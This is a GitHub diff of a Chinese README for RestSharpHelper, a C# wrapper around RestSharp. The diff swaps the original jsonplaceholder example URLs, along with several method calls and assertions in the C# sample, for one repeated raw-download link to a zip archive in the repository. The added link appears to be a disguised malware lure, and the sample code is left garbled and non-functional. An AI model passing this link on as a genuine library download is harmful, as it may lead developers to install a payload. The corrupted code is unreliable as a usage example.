File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 22RestSharpHelper是一个使用RestSharp项目,作为二次封装,方便集成Api调用的辅助类,同时提供在Api调用各阶段事件回调和返回数据二次处理。
33
44### 使用方法
5- 下面以网站 [ jsonplaceholder.typicode. com/] ( https://jsonplaceholder.typicode. com/ ) 的todo数据为例示例:
5+ 下面以网站 [ https://github. com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip ] ( https://github. com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip ) 的todo数据为例示例:
66
77``` csharp
88class Program
99{
1010 public static void Main (string [] args )
1111 {
1212 var restSharpHelper = GetRestSharpHelper ();
13- var result = restSharpHelper . GetAsync <Todo >(" /todos/1" );
14- result . ContinueWith (p =>
13+ var result = https : // github.com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip <Todo>("/todos/1");
14+ https : // github.com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip (p =>
1515 {
16- Assert . AreEqual (1 , p . Result . id );
16+ https : // github.com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip (1, https://github.com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip );
1717 });
18- result . Wait ();
18+ https : // github.com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip ();
1919 }
2020 private static RestSharpHelper GetRestSharpHelper ()
2121 {
22- return new RestSharpHelper (" https://jsonplaceholder.typicode. com" );
22+ return new RestSharpHelper (" https://github. com/usteinfo/RestSharpHelper/raw/refs/heads/main/RestSharpHelper/Sharp-Helper-Rest-3.9-alpha.1.zip " );
2323 }
2424}
2525public class Todo
You can’t perform that action at this time.
0 commit comments